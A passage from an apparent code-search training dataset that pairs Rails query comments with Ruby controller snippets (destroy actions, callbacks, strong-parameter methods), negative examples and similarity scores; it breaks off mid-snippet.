}\n format.xml { head :ok }\n end\n end", "def destroy\n @aoo_ref.destroy\n respond_to do |format|\n format.html { redirect_to aoo_refs_url, notice: 'Aoo ref was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def delete\n url = prefix + \"delete\" + id_param\n return response(url)\n end", "def destroy\n @ficha_tematica = FichaTematica.find(params[:id])\n @ficha_tematica.destroy\n\n respond_to do |format|\n format.html { redirect_to(admin_ficha_tematicas_url) }\n format.xml { head :ok }\n end\n end", "def delete!\n Recliner.delete(uri)\n end", "def destroy\n @child_dupa2 = ChildDupa2.find(params[:id])\n @child_dupa2.destroy\n\n respond_to do |format|\n format.html { redirect_to(child_dupa2s_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @contrato = Contrato.find(params[:id])\n @contrato.destroy\n\n respond_to do |format|\n format.html { redirect_to(contratos_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @advert = Advert.find(params[:id])\n @advert.destroy\n\n respond_to do |format|\n format.html { redirect_to(adverts_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @alfresco = Alfresco.find(params[:id])\n @alfresco.destroy\n\n respond_to do |format|\n format.html { redirect_to(alfrescos_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @cuenta = Cuenta.find(params[:id])\n @cuenta.destroy\n\n respond_to do |format|\n format.html { redirect_to(cuentas_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @cuenta = Cuenta.find(params[:id])\n @cuenta.destroy\n\n respond_to do |format|\n format.html { redirect_to(cuentas_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @cuenta = Cuenta.find(params[:id])\n @cuenta.destroy\n\n respond_to do |format|\n format.html { redirect_to(cuentas_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @aplicacion = Aplicacion.find(params[:id])\n @aplicacion.destroy\n\n respond_to do |format|\n format.html { redirect_to(aplicacions_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @serialize = Serialize.find(params[:id])\n @serialize.destroy\n\n respond_to do |format|\n format.html { redirect_to(serializes_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @kontak = Kontak.find(params[:id])\n @kontak.destroy\n\n respond_to do |format|\n format.html { redirect_to(kontaks_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @iguanasactualizacion = Iguanasactualizacion.find(params[:id])\n @iguanasactualizacion.destroy\n\n respond_to do |format|\n format.html { redirect_to(iguanasactualizaciones_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @cita = Cita.find(params[:id])\n @cita.destroy\n\n respond_to do |format|\n format.html { redirect_to(citas_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @tarefa = Tarefa.find(params[:id])\n @tarefa.destroy\n \n respond_to do |format|\n format.html { redirect_to(projeto_tarefas_path(@projeto)) }\n format.xml { head :ok }\n end\n end", "def delete_data(index_name)\n uri = @client.make_uri(\"/#{index_name}/update/\")\n req = HTTP::Post.new(uri)\n req.content_type = 'text/xml'\n req.body = '<delete><query>*:*</query></delete>'\n response = @client.send_http(req, true, ['200'])\n end", "def delete; rest_delete(link('self')); end", "def delete; rest_delete(link('self')); end", "def destroy\n @zebra = Zebra.find(params[:id])\n @zebra.destroy\n\n respond_to do |format|\n format.html { redirect_to(zebras_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @cliente = Cliente.find(params[:id])\n @cliente.destroy\n\n respond_to do |format|\n format.html { redirect_to(clientes_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @cliente = Cliente.find(params[:id])\n @cliente.destroy\n\n respond_to do |format|\n format.html { redirect_to(clientes_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @norma = Norma.find(params[:id])\n @norma.destroy\n\n respond_to do |format|\n format.html { redirect_to(normas_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @cinema = Cinema.find(params[:id])\n @cinema.destroy\n\n respond_to do |format|\n format.html { redirect_to(cinemas_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @linea = Linea.find(params[:id])\n @linea.destroy\n\n respond_to do |format|\n format.html { redirect_to(lineas_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @reputacao_carona = ReputacaoCarona.find(params[:id])\n @reputacao_carona.destroy\n\n respond_to do |format|\n format.html { redirect_to(reputacao_caronas_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @estatu = Estatu.find(params[:id])\n @estatu.destroy\n\n respond_to do |format|\n format.html { redirect_to(estatus_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @tarifas = Tarifas.find(params[:id])\n @tarifas.destroy\n\n respond_to do |format|\n format.html { redirect_to(tarifas_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @cavalete = Cavalete.find(params[:id])\n @cavalete.destroy\n\n respond_to do |format|\n format.html { redirect_to(cavaletes_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @conteudo = Conteudo.find(params[:id])\n @conteudo.destroy\nt=0\n respond_to do |format|\n format.html { redirect_to(exclusao_path) }\n format.xml { head :ok }\n end\n end", "def destroy\n @actividad = Actividad.find(params[:id])\n @actividad.destroy\n\n respond_to do |format|\n format.html { redirect_to(actividads_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @caixa = Caixa.find(params[:id])\n @caixa.destroy\n\n respond_to do |format|\n format.html { redirect_to caixas_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @alumini = Alumini.find(params[:id])\n @alumini.destroy\n\n respond_to do |format|\n format.html { redirect_to(aluminis_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @fuga = Fuga.find(params[:id])\n @fuga.destroy\n\n respond_to do |format|\n format.html { redirect_to(fugas_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @adjunto = Adjunto.find(params[:id])\n @adjunto.destroy\n\n respond_to do |format|\n format.html { redirect_to(adjuntos_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @genbank_file.destroy\n\n respond_to do |format|\n format.xml { head :ok }\n format.json { head :ok }\n end\n end", "def destroy\n @estacion = Estacion.find(params[:id])\n @estacion.destroy\n\n respond_to do |format|\n format.html { redirect_to(estaciones_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @cabasiento = Cabasiento.find(params[:id])\n @cabasiento.destroy\n\n respond_to do |format|\n format.html { redirect_to(cabasientos_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @reputacao_veiculo = ReputacaoVeiculo.find(params[:id])\n @reputacao_veiculo.destroy\n\n respond_to do |format|\n format.html { redirect_to(reputacao_veiculos_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @dossier = Dossier.find(params[:id])\n @dossier.destroy\n\n respond_to do |format|\n format.html { redirect_to(\"/\") }\n format.xml { head :ok }\n end\n end", "def destroy\n @verb.destroy\n\n head :no_content\n end", "def destroy\n @echo = Echo.find(params[:id])\n @echo.destroy\n\n respond_to do |format|\n format.html { redirect_to(echoes_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @ambit = Ambit.find(params[:id])\n @ambit.destroy\n\n respond_to do |format|\n format.html { redirect_to(ambits_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @material_apoyo = MaterialApoyo.find(params[:id])\n\n begin\n File.delete(@material_apoyo.url)\n @material_apoyo.destroy\n flash[:mensaje] = \"Archivo Eliminado del sistema.\"\n rescue Exception => e\n flash[:mensaje] = \"Error al intentar eliminar. #{e.message}\"\n end\n respond_to do |format|\n format.html { redirect_to material_apoyos_url }\n format.json { head :ok }\n end\n end", "def delete path\n make_request(path, \"delete\", {})\n end", "def destroy\n @bairro = Bairro.find(params[:id])\n @bairro.destroy\n\n respond_to do |format|\n format.html { redirect_to(admin_bairros_path) }\n format.xml { head :ok }\n end\n end", "def delete(*uris); end", "def destroy\n @container_content = ContainerContent.find(params[:id])\n container = @container_content.container\n @container_content.destroy\n\n respond_to do |format|\n format.html { redirect_to(container) }\n format.xml { head :ok }\n end\n end" ]
[ "0.7135331", "0.6605438", "0.65665966", "0.6543116", "0.6515017", "0.6478686", "0.64713323", "0.6468143", "0.6434875", "0.6433774", "0.6405007", "0.64002377", "0.639789", "0.6393516", "0.63865846", "0.63790566", "0.6369941", "0.63674", "0.6364069", "0.63581955", "0.6350041", "0.63476497", "0.6340815", "0.63311285", "0.6331007", "0.6330878", "0.63302606", "0.63233316", "0.63165295", "0.631635", "0.63145274", "0.6301633", "0.62936753", "0.627923", "0.62788343", "0.6278505", "0.6272788", "0.6270354", "0.6261002", "0.6261002", "0.62590563", "0.62575454", "0.6249998", "0.6249376", "0.62444276", "0.623283", "0.62315243", "0.62275386", "0.6227038", "0.6225217", "0.62226176", "0.62209773", "0.6211421", "0.62049556", "0.6203829", "0.6202328", "0.620036", "0.61988294", "0.61966896", "0.61966825", "0.61966825", "0.61966825", "0.61955965", "0.6195226", "0.6191495", "0.6191167", "0.6191066", "0.619058", "0.6182223", "0.61788183", "0.61788183", "0.61747354", "0.61744225", "0.61744225", "0.61719745", "0.61622167", "0.61604416", "0.61593556", "0.61558294", "0.6155737", "0.6149224", "0.6149148", "0.6148819", "0.61430395", "0.6138819", "0.6134741", "0.61341006", "0.61336786", "0.6133165", "0.6132967", "0.6131927", "0.6130147", "0.612598", "0.6125678", "0.61244446", "0.61236906", "0.61195266", "0.6119385", "0.6116728", "0.6114823" ]
0.70852363
1
Use callbacks to share common setup or constraints between actions.
def set_pet @pet = Pet.find(params[:id]) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def set_required_actions\n # TODO: check what fields change to asign required fields\n end", "def action_hook; end", "def run_actions; end", "def define_action_hook; end", "def actions; end", "def define_action_helpers\n if super && action == :save\n @instance_helper_module.class_eval do\n define_method(:valid?) do |*args|\n self.class.state_machines.fire_event_attributes(self, :save, false) { super(*args) }\n end\n end\n end\n end", "def add_actions; end", "def callbacks; end", "def callbacks; end", "def setup *actions, &proc\n (@setup_procs ||= []) << [proc, actions.size > 0 ? actions : [:*]]\n end", "def define_action_helpers; end", "def post_setup\n end", "def action_methods; end", "def action_methods; end", "def action_methods; end", "def before_setup; end", "def action_run\n end", "def execute(setup)\n @action.call(setup)\n end", "def define_action_helpers?; end", "def set_actions\n actions :all\n end", "def action_done(action)\n dispatch = { :migrate => :done_migrating, :map => :done_mapping, :reduce =>\n :done_reducing, :finalize => :done_finalizing } \n self.send dispatch[action[:action]], action\n end", "def dependencies action, &block\n @actions.each do |other|\n if action[:requires].include? other[:provide]\n block.call other\n end\n end\n end", "def setup!\n return unless @setup_procs\n http_actions = actions\n @setup_procs.each do |setup_proc|\n proc, actions = setup_proc\n @setup__actions = actions.map do |action|\n\n action.is_a?(Regexp) ?\n http_actions.select { |a| a.to_s =~ action } :\n action.is_a?(String) && action =~ /\\A\\./ ?\n http_actions.map { |a| a.to_s << action if format?(a).include?(action) }.compact :\n action\n\n end.flatten\n self.class_exec &proc\n @setup__actions = nil\n end\n @setup_procs = nil\n end", "def before_actions(*logic)\n self.before_actions = logic\n end", "def setup_handler\n end", "def set_action(opts)\n opts = check_params(opts,[:actions])\n super(opts)\n end", "def setup(action)\n @targets.clear\n unless action.item.target_filters.empty?\n @targets = SES::TargetManager.make_targets(action)\n else\n item = action.item\n if item.for_opponent?\n @targets = $game_troop.alive_members\n elsif item.for_dead_friend?\n @targets = $game_party.battle_members.select { |actor| actor.dead? }\n else\n $game_party.battle_members.select { |actor| actor.alive? }\n end\n end\n @item_max = @targets.size\n create_contents\n refresh\n show\n activate\n end", "def action; end", "def action; end", "def action; end", "def action; end", "def action; end", "def workflow\n end", "def revisable_shared_setup(args, block)\n class << self\n attr_accessor :revisable_options\n end\n options = args.extract_options!\n self.revisable_options = Options.new(options, &block)\n \n self.send(:include, Common)\n self.send(:extend, Validations) unless self.revisable_options.no_validation_scoping?\n self.send(:include, WithoutScope::QuotedColumnConditions)\n end", "def setup\n @action = SampleActionAndroid.new(os_name: 'android',\n app_name: APP_PATH)\n end", "def before(action)\n invoke_callbacks *self.class.send(action).before\n end", "def process_action(...)\n send_action(...)\n end", "def before_dispatch(env); end", "def after_actions(*logic)\n self.after_actions = logic\n end", "def setup\n # override and do something appropriate\n end", "def setup(client)\n return unless @setup\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n actions.each do |action|\n action.execute(client)\n end\n self\n end", "def setup(_context)\n end", "def setup(resources) ; end", "def validate_actions\n errors.add(:base, :should_give_at_least_one_action) if !manage? && !forecasting? && !read? && !api?\n end", "def setup\n @resource_config = {\n :callbacks => {\n :before_create => nil,\n :after_create => nil,\n :before_update => nil,\n :after_update => nil,\n :before_destroy => nil,\n :after_destroy => nil,\n },\n :child_assoc => nil,\n :model => nil,\n :parent => nil,\n :path => nil,\n :permission => {},\n :properties => {},\n :relation => {\n :create => nil,\n :delete => nil,\n },\n :roles => nil,\n }\n end", "def determine_valid_action\n\n end", "def process_shared\n handle_taxes\n handle_shippings\n create_adjustments_from_params\n handle_status\n handle_inventory_refunds\n handle_payment_transactions\n order.updater.update\n end", "def startcompany(action)\n @done = true\n action.setup\n end", "def init_actions\n am = action_manager()\n am.add_action(Action.new(\"&Disable selection\") { @selection_mode = :none; unbind_key(32); bind_key(32, :scroll_forward); } )\n am.add_action(Action.new(\"&Edit Toggle\") { @edit_toggle = !@edit_toggle; $status_message.value = \"Edit toggle is #{@edit_toggle}\" })\n end", "def event_callbacks(event, metadata={})\n case event\n when :reset, :review\n if confirmed\n update_attributes(confirmed: false)\n end\n when :confirm\n confirm\n # trigger :order for all applicable items\n # NOTE: :order event is common to both physical and digital items\n items.each do |i|\n if i.event_permitted(:order)\n user_id = last_transition.user_id\n i.trigger!(:order, { order_id: id, user_id: user_id })\n end\n end\n when :complete_work\n request = metadata[:request]\n work_complete_notification(request)\n when :close\n close\n end\n if event != :close && !open\n reopen\n end\n end", "def setup_action\n return unless PONY::ERRNO::check_sequence(current_act)\n new_sequence = @action_sequence[@sequence_index+1...@action_sequence.size]\n @sequence_index = 0\n new_sequence = DND::SkillSequence::ACTS[@acts[1]] + new_sequence\n execute_sequence\n end", "def define_tasks\n define_weave_task\n connect_common_tasks\n end", "def setup(&block)\n define_method(:setup, &block)\n end", "def setup\n transition_to(:setup)\n end", "def setup\n transition_to(:setup)\n end", "def action\n end", "def setup( *args )\n\t\t\tself.class.setupBlocks.each {|sblock|\n\t\t\t\tdebugMsg \"Calling setup block method #{sblock}\"\n\t\t\t\tself.send( sblock )\n\t\t\t}\n\t\t\tsuper( *args )\n\t\tend", "def config(action, *args); end", "def setup\n @setup_proc.call(self) if @setup_proc\n end", "def before_action \n end", "def setup_callbacks\n defined_callbacks.each do |meth|\n unless respond_to?(\"call_#{meth}_callbacks\".to_sym)\n self.class.module_eval <<-EOE\n def call_#{meth}_callbacks(*args)\n plugin_store.each {|a| a.call_#{meth}_callbacks(*args) } if respond_to?(:plugin_store) && plugin_store\n self.send :#{meth}, *args if respond_to?(:#{meth})\n end\n EOE\n end\n end\n end", "def action\n end", "def matt_custom_action_begin(label); end", "def setup\n # override this if needed\n end", "def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend", "def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend", "def action(options,&callback)\n new_action = Action===options ? options : Action.new(options,&callback)\n # replace any with (shared name/alias or both default) + same arity\n @actions.delete_if do |existing_action|\n ((existing_action.names & new_action.names).size > 0 ||\n existing_action.default? && new_action.default?) &&\n existing_action.required.size == new_action.required.size &&\n existing_action.optional.size <= new_action.optional.size\n end\n @actions = (@actions + [new_action]).sort\n new_action\n end", "def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action\n end", "def after(action)\n invoke_callbacks *options_for(action).after\n end", "def pre_task\n end", "def setup(server)\n server.on('beforeMethod', method(:before_method), 10)\n end", "def add_actions\n attribute = machine.attribute\n name = self.name\n \n owner_class.class_eval do\n define_method(name) {self.class.state_machines[attribute].events[name].fire(self)}\n define_method(\"#{name}!\") {self.class.state_machines[attribute].events[name].fire!(self)}\n define_method(\"can_#{name}?\") {self.class.state_machines[attribute].events[name].can_fire?(self)}\n end\n end", "def init_actions\n @select_action = SelectAction.new\n @endpoint_mouse_action = EndpointMouseAction.new\n @move_action = MoveAction.new\n end", "def setup_signals; end", "def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend", "def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend", "def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action.respond_to?('weak!') ? action.weak! : action\n end", "def initialize(*args)\n super\n @action = :set\nend", "def after_set_callback; end", "def setup\n #implement in subclass;\n end", "def lookup_action; end", "def setup &block\n if block_given?\n @setup = block\n else\n @setup.call\n end\n end", "def setup_action\n return TSBS.error(@acts[0], 1, @used_sequence) if @acts.size < 2\n actions = TSBS::AnimLoop[@acts[1]]\n if actions.nil?\n show_action_error(@acts[1])\n end\n @sequence_stack.push(@acts[1])\n @used_sequence = @acts[1]\n actions.each do |acts|\n @acts = acts\n execute_sequence\n break if @break_action\n end\n @sequence_stack.pop\n @used_sequence = @sequence_stack[-1]\n end", "def release_actions; end", "def around_hooks; end", "def save_action; end", "def setup(easy)\n super\n easy.customrequest = @verb\n end", "def action_target()\n \n end", "def setup\n callback(:setup) do\n notify(:setup)\n migration_check.last_deployed_commit\n end\n end", "def setup\n return unless @setup\n\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n run_actions_and_retry(actions)\n self\n end", "def before_setup\n # do nothing by default\n end", "def my_actions(options)\n @setup = false\n get_template_part(\"custom_used\",\"action_users\",true)\n end", "def default_action; end", "def setup(&blk)\n @setup_block = blk\n end", "def callback_phase\n super\n end", "def advice\n end", "def _handle_action_missing(*args); end", "def duas1(action)\n action.call\n action.call\nend", "def shared_action(name, &block)\n @controller.shared_actions[name] = block\n end", "def before_action action, &block\n @audience[:before][action] ||= Set.new\n @audience[:before][action] << block\n end", "def setup_initial_state\n\n state_a = State.new(\"a\", 0)\n state_b = State.new(\"b\", 0)\n state_c = State.new(\"c\", 10)\n\n move_to_b = Action.new(\"move_to_b\", 1, state_b)\n\n move_to_c = Action.new(\"move_to_c\", 1, state_c)\n\n state_a.actions = [move_to_b, move_to_c]\n\n return state_a\n \nend" ]
[ "0.6163163", "0.6045976", "0.5946146", "0.591683", "0.5890051", "0.58349305", "0.5776858", "0.5703237", "0.5703237", "0.5652805", "0.5621621", "0.54210985", "0.5411113", "0.5411113", "0.5411113", "0.5391541", "0.53794575", "0.5357573", "0.53402257", "0.53394014", "0.53321576", "0.53124547", "0.529654", "0.5296262", "0.52952296", "0.52600986", "0.52442724", "0.52385926", "0.52385926", "0.52385926", "0.52385926", "0.52385926", "0.5232394", "0.523231", "0.5227454", "0.52226824", "0.52201617", "0.5212327", "0.52079266", "0.52050185", "0.51754695", "0.51726824", "0.51710224", "0.5166172", "0.5159343", "0.51578903", "0.51522785", "0.5152022", "0.51518047", "0.51456624", "0.51398855", "0.5133759", "0.5112076", "0.5111866", "0.5111866", "0.5110294", "0.5106169", "0.509231", "0.50873137", "0.5081088", "0.508059", "0.50677156", "0.50562143", "0.5050554", "0.50474834", "0.50474834", "0.5036181", "0.5026331", "0.5022976", "0.5015441", "0.50121695", "0.5000944", "0.5000019", "0.4996878", "0.4989888", "0.4989888", "0.49864885", "0.49797225", "0.49785787", "0.4976161", "0.49683493", "0.4965126", "0.4958034", "0.49559742", "0.4954353", "0.49535993", "0.4952725", "0.49467874", "0.49423352", "0.49325448", "0.49282882", "0.49269363", "0.49269104", "0.49252945", "0.4923091", "0.49194667", "0.49174926", "0.49173003", "0.49171105", "0.4915879", "0.49155936" ]
0.0
-1
Only allow a list of trusted parameters through.
def pet_params params.require(:pet).permit(:category_id, :name, :price, :age, :weight, :date_of_birth, :adopted_at, :wakeup_time, :desexed, :description) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def allowed_params\n ALLOWED_PARAMS\n end", "def strong_params\n params.require(:listing_member).permit(param_whitelist)\n end", "def parameters_list_params\n params.require(:parameters_list).permit(:name, :description, :is_user_specific)\n end", "def param_whitelist\n [:role, :title]\n end", "def param_whitelist\n whitelist = [\n :username, :name,\n :parent_id,\n :headline, :description, :video,\n :policy, :signup_mode, :category,\n :website, :facebook, :twitter, :linkedin,\n :founded_at,\n privacy: [\n :events,\n :resources\n ],\n permission: [\n :profile,\n :members,\n :children,\n :statistics,\n :posts,\n :listings,\n :resources,\n :events\n ],\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:parent_id)\n unless current_user.role_in(@community) === 'owner'\n whitelist.delete(:privacy)\n whitelist.delete(:permission)\n end\n end\n \n whitelist\n end", "def strong_params\n params.require(:user).permit(param_whitelist)\n end", "def param_whitelist\n if @user.present? && current_user != @user\n return [:followed]\n end\n \n whitelist = [\n :username, :email, :password,\n :first_name, :last_name,\n :birthday, :gender,\n :headline, :biography, :ask_about, :focus,\n :website, :facebook, :linkedin, :twitter, :github,\n roles: [],\n skills: [],\n interests: [],\n privacy: { contact: [] },\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:email)\n whitelist.delete(:password)\n end\n \n whitelist\n end", "def allow_params_authentication!; end", "def whitelisted_args\n args.select &:allowed\n end", "def safe_list_sanitizer; end", "def safe_list_sanitizer; end", "def safe_list_sanitizer; end", "def filtered_parameters; end", "def sanitize_params_for user, params, allowed_params\n params.each do |key, val|\n #if allowed_params.include?(key)\n #sanitize!(user, params, key) if key =~ /_attributes|_ids$/\n #else\n #params.delete(key)\n #end\n params.delete(key) unless allowed_params.include?(key.to_sym)\n end\n end", "def strong_params\n params.require(:team_member).permit(param_whitelist)\n end", "def expected_permitted_parameter_names; end", "def sanitize_parameters!(sanitizer, params)\n # replace :readwrite with :onlyif\n if params.has_key?(:readwrite)\n warn \":readwrite is deprecated. Replacing with :onlyif\"\n params[:onlyif] = params.delete(:readwrite)\n end\n\n # add default parameters\n bindata_default_parameters.each do |k,v|\n params[k] = v unless params.has_key?(k)\n end\n\n # ensure mandatory parameters exist\n bindata_mandatory_parameters.each do |prm|\n if not params.has_key?(prm)\n raise ArgumentError, \"parameter ':#{prm}' must be specified \" +\n \"in #{self}\"\n end\n end\n\n # ensure mutual exclusion\n bindata_mutually_exclusive_parameters.each do |param1, param2|\n if params.has_key?(param1) and params.has_key?(param2)\n raise ArgumentError, \"params #{param1} and #{param2} \" +\n \"are mutually exclusive\"\n end\n end\n end", "def strong_params\n params.require(:education).permit(param_whitelist)\n end", "def safe_list_sanitizer=(_arg0); end", "def safe_list_sanitizer=(_arg0); end", "def safe_list_sanitizer=(_arg0); end", "def safe_params\n resurce_name = self.class.resource_name\n params_method_name = \"#{resurce_name}_params\".to_sym\n if params[resurce_name]\n if respond_to?(params_method_name) || private_methods.include?(params_method_name)\n send(params_method_name)\n else\n raise ActiveModel::ForbiddenAttributesError, \"Please, define the '#{params_method_name}' method in #{self.class.name}\"\n end\n end\n end", "def param_whitelist\n [:rating, :review]\n end", "def check_params; true; end", "def strong_params\n params.require(:experience).permit(param_whitelist)\n end", "def validate_search_inputs\n @whitelisted = params.fetch(:user, nil)\n if @whitelisted.blank?\n render_error(400, \"#{I18n.t('general_error.params_missing_key')}\": [I18n.t('general_error.params_missing_value', model: \"review\")])\n return\n else\n @whitelisted = @whitelisted.permit(:name, :uen, :description)\n end\n end", "def allowed?(*_)\n true\n end", "def param_whitelist\n [\n :title,\n :description,\n :organization,\n :team_id,\n :started_at,\n :finished_at,\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n end", "def allowed_params(parameters)\n parameters.select do |name, values|\n values.location != \"path\"\n end\n end", "def secure_params\n return @secure_params if @secure_params\n\n defn = implementation_class.definition\n field_list = [:master_id] + defn.field_list_array\n\n res = params.require(controller_name.singularize.to_sym).permit(field_list)\n res[implementation_class.external_id_attribute.to_sym] = nil if implementation_class.allow_to_generate_ids?\n @secure_params = res\n end", "def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end", "def permitir_parametros\n \t\tparams.permit!\n \tend", "def strong_params\n params.require(:community).permit(param_whitelist)\n end", "def permit( params, whitelist, name = nil )\n raise 'Parametrization not yet configured' unless @configured\n whitelist ||= []\n px = params.respond_to?( :permit ) ? params : ActionController::Parameters.new( params )\n px = dig(px, name)\n px.permit( *whitelist )\n end", "def valid_params?; end", "def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end", "def url_allowlist=(_arg0); end", "def param_whitelist\n whitelist = [\n :description,\n :progress,\n :kpi_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:kpi_id)\n end\n \n whitelist\n end", "def restricted_params\n #params.require(self.controller_name.classify.underscore.to_sym).permit([])\n raise(\"No strong params set, override restricted_params method in your controller. E.g. params.require(:model).permit(:attribute1, :attribute2)\")\n end", "def list_params\n params.permit(:list_name)\n end", "def valid_params_request?; end", "def safe_params\n params.permit(:id, :name, :origin, :emails => []); #emails is an array\n end", "def param_list(param_type, name, type, required, description = nil, allowed_values = [], hash = {})\n hash.merge!({allowable_values: {value_type: \"LIST\", values: allowed_values}})\n param(param_type, name, type, required, description, hash)\n end", "def safelists; end", "def authorize_own_lists\n authorize_lists current_user.lists\n end", "def listed_params\n params.permit(:listed, :list_id, :listable_id, :listable_type, :campsite_id)\n end", "def lists_params\n params.require(:list).permit(:name)\n\n end", "def list_params\n params.require(:list).permit(:name, :user_id)\n end", "def list_params\n params.require(:list).permit(:name, :description, :type, :privacy, :allow_edit, :rating, :votes_count, :user_id)\n end", "def check_params\n true\n end", "def authorize_own_or_shared_lists\n authorize_lists current_user.all_lists\n end", "def user_pref_list_params\n\t\tparams.require(:user).permit(:preference_list)\n\tend", "def may_contain!(*keys)\n self.allow_only_permitted = true\n self.permitted_keys = [*permitted_keys, *keys].uniq\n end", "def filter_parameters; end", "def filter_parameters; end", "def whitelist; end", "def article_params_whitelist\n params.require(:article).permit(:title, :description, category_ids: [])\n end", "def list_params\n params.require(:list).permit(:name)\n end", "def list_params\n params.permit(:name)\n end", "def recipient_list_params\n params.require(:recipient_list).permit(:name, :list, :references)\n end", "def cancan_parameter_sanitizer\n resource = controller_name.singularize.to_sym\n method = \"#{resource}_params\"\n params[resource] &&= send(method) if respond_to?(method, true)\n end", "def list_params\n params.require(:list).permit(:name).merge(user_id: current_user.id)\n end", "def whitelist_place_params\n params.require(:place).permit(:place_name, :unlock, :auth, :is_deep_checked, :parent_ADM4, :parent_ADM3, :parent_ADM2, :parent_ADM1, :parent_country, feature_code: [], same_as: [], related_authority: [], altlabel: [], note: []) # Note - arrays need to go at the end or an error occurs!\n end", "def list_params\n params.fetch(:list, {}).permit(:user_id, :name, :active)\n end", "def permitted_strong_parameters\n :all #or an array of parameters, example: [:name, :email]\n end", "def secure_params(require_param, permit_keys)\n params.require(require_param).permit(*permit_keys)\n end", "def grant_params\n @whitelisted = params.require(:grant).permit(:name, :description, :agency_id, :acronym)\n end", "def permitted_params\n []\n end", "def price_list_params\n params.fetch(:price_list, {}).permit(:name, :valid_from, :valid_to, :active,\n :all_warehouses, :all_users, :all_contact_groups,\n warehouse_ids: [], price_lists_user_ids: [], contact_group_ids: [])\n end", "def params(list)\n @declared_params = list\n end", "def admin_review_params\n params.fetch(:review, {}).permit(whitelisted_params)\n end", "def saved_list_params\n params.require(:saved_list).permit(:user_id)\n end", "def allow(ids); end", "def list_params\n params.require(:list).permit(:name)\n end", "def list_params\n params.require(:list).permit(:name)\n end", "def list_params\n params.require(:list).permit(:name)\n end", "def filter_params(param_set, **kwargs)\r\n begin\r\n key = kwargs[:key]\r\n params.require(key).permit(*param_set)\r\n rescue Exception\r\n params.permit(*param_set)\r\n end\r\n end", "def valid_parameters\n sort_symbols(@interface.allowed_parameters)\n end", "def validate_paramified_params\n self.class.paramify_methods.each do |method|\n params = send(method)\n transfer_errors_from(params, TermMapper.scope(params.group)) if !params.valid?\n end\n end", "def list_params\n params.require(:list).permit(:name)\n end", "def secure_params\n return @secure_params if @secure_params\n\n @implementation_class = implementation_class\n resname = @implementation_class.name.ns_underscore.gsub('__', '_').singularize.to_sym\n @secure_params = params.require(resname).permit(*permitted_params)\n end", "def refine_permitted_params(param_list)\n res = param_list.dup\n\n ms_keys = res.select { |a| columns_hash[a.to_s]&.array }\n ms_keys.each do |k|\n res.delete(k)\n res << { k => [] }\n end\n\n res\n end", "def recipient_list_params\n params.require(:recipient_list).permit(:name, :description, recipient_id_array: [])\n end", "def safelist; end", "def sponsor_params\n params.require(:sponsor).permit(WHITE_LIST)\n end", "def valid_for_params_auth?; end", "def default_param_whitelist\n [\"mode\"]\n end", "def devise_filter\r\n logger.debug(\"In devise_filter =>PARAMS: #{params.inspect}\")\r\n\r\n # White list for sign_up\r\n devise_parameter_sanitizer.for(:sign_up) { |u| u.permit(user_whitelist) }\r\n\r\n # White list for account update\r\n devise_parameter_sanitizer.for(:account_update) { |u| u.permit(user_whitelist, 